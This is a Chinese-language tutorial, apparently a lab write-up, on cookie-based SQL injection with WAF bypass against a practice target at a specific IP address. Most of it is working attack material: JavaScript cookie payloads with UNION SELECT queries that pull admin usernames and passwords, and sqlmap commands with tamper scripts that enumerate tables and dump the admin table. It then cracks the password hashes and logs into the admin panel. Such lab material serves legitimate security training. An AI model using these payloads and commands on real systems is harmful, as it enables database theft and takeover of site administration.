cookie注入的三种方法（靶场实例绕过WAF）
cookie注入的三种方法（靶场实例绕过WAF）
一、知识点介绍
1.什么是cookie注入？
cookie注入的原理是：就是修改cookie的值进行注入
?cookie注入其原理也和平时的注入一样，只不过注入参数换成了cookie
?要进行cookie注入，我们首先就要修改cookie，这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件：
条件1是：程序对get和post方式提交的数据进行了过滤，但未对cookie提交的数据库进行过滤。
条件2是：在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式，未指明使用request对象的具体方法进行获取，也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选，之后的原理就像我们的sql注入一样了。
2.怎样cookie注入？
cookie注入跟普通sql注入过程一样：
1.判断是不是注入点
2.得到字段总数
3.查选表名
4.查选列名
5.脱裤
使用到Javascript语言就先理解一下这几个概念：
javascript:alert(document.cookie="id="+escape("284"))
document.cookie:表示当前浏览器中的cookie变量
alert（）:表示弹出一个对话框，在该对话框中单击“确定”按钮确认信息。
escape():该函数用于对字符串进行编码。
cookie注入的原理在于更改本地的cookie，从而利用cookie来提交非法语句。
这里举例采用tkaq的靶场实例：
方法一：
说明有waf。
在ie浏览器先正常访问http://117.167.136.245:10181/shownews.asp?id=169
再清空地址栏输入
javascript:alert(document.cookie="id="+escape("169"));
手动补充javascript: 就弹窗了
再次访问http://117.167.136.245:10181/shownews.asp? 返回正常
再次验证了是cookie注入，构造语句暴出位置，（已order by试过字段为10）并猜解表名，说明存在admin这个表
javascript:alert(document.cookie="id="+escape("169+union+select+1,2,3,4,5,6,7,8,9,10+from+admin"));
访问查看http://117.167.136.245:10181/shownews.asp?
javascript:alert(document.cookie="id="+escape("169+union+select+1,username,password,4,5,6,7,8,9,10+from+admin"));
访问查看http://117.167.136.245:10181/shownews.asp?
MD5解密得
然后拿到管理员账号密码就可以区登录后台了，这里域名加admin就是后台
方法二：
采用官方wp，用插件的方法
点击+号新增一个Request头。
还有一种就是用sqlmap跑
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=171" --level 2
可以看出对方的DBMS是ACCESS
前面已经知道有waf拦截危险字符，所以绕过waf的sqlmap语句为
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=171" --level 2 –tamper=space2commet,versionedmorekeywords.py -v 3 --tables
（10线程跑的）爆出数据库有8个表；
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=171" --level 2 --columns -T"admin" -D"Microsoft_Access_masterdb"
爆表admin的列：
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=171" --level 2 --dump -T admin -C "username,password"
爆表admin中username和password：
Cmd5解密即可
参考：https://www.cnblogs.com/joker-vip/p/12746326.html
https://www.cnblogs.com/insane-Mr-Li/p/9142681.html
https://www.cnblogs.com/lovesickness/protected/p/12745357.html